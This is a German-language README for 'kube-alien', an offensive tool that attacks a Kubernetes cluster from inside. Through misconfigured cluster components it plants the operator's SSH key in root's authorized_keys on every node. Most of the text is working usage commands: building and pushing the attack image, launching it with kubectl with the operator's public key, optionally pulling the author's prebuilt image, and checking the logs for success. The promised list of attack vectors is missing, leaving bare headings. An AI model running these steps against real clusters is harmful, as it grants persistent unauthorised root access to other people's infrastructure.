
Automatisiertes Penetrationstest-Tool für Kubernetes-Cluster, das Fehlkonfigurationen in API, Kubelet, etcd und Dashboard ausnutzt, um eine Knotenübernahme durch SSH-Schlüsselinjektion innerhalb eines Pods zu erreichen.
Dieses Tool startet einen Angriff auf einen k8s-Cluster von innen. Das bedeutet, dass Sie bereits Zugriff mit der Berechtigung haben müssen, Pods in einem Cluster bereitzustellen, um es auszuführen. Nach dem Ausführen des Kube-alien-Pods versucht es, die Knoten des Clusters zu übernehmen, indem es Ihren öffentlichen Schlüssel zur Datei /root/.ssh/authorized_keys des Knotens hinzufügt. Dazu wird dieses Image verwendet: https://github.com/nixwizard/dockercloud-authorizedkeys (kann mit dem Parameter ADD_AUTHKEYS_IMAGE in config.py angepasst werden), ein Fork von docker/dockercloud-authorizedkeys.
Der Angriff ist erfolgreich, wenn eine Fehlkonfiguration in einer der Cluster-Komponenten vorliegt. Er erfolgt entlang der folgenden Vektoren:
Was ist der Zweck dieses Tools?
Wie kann ein k8s-Cluster in der Praxis von innen angegriffen werden?
Das Kube-alien-Image sollte vor der Verwendung mit diesem Tool in Ihre Docker-Hub (oder eine andere Registry) gepusht werden.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
Die Umgebungsvariable AUTHORIZED_KEYS muss auf den Wert Ihres SSH-öffentlichen Schlüssels gesetzt werden. Im Erfolgsfall wird der öffentliche Schlüssel zur authorized_keys-Datei des Root-Benutzers aller Knoten hinzugefügt.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Oder Sie können mein Image für schnelle Testzwecke verwenden:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Überprüfen Sie die Logs des Kube-alien-Pods, um zu sehen, ob der Angriff erfolgreich war:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')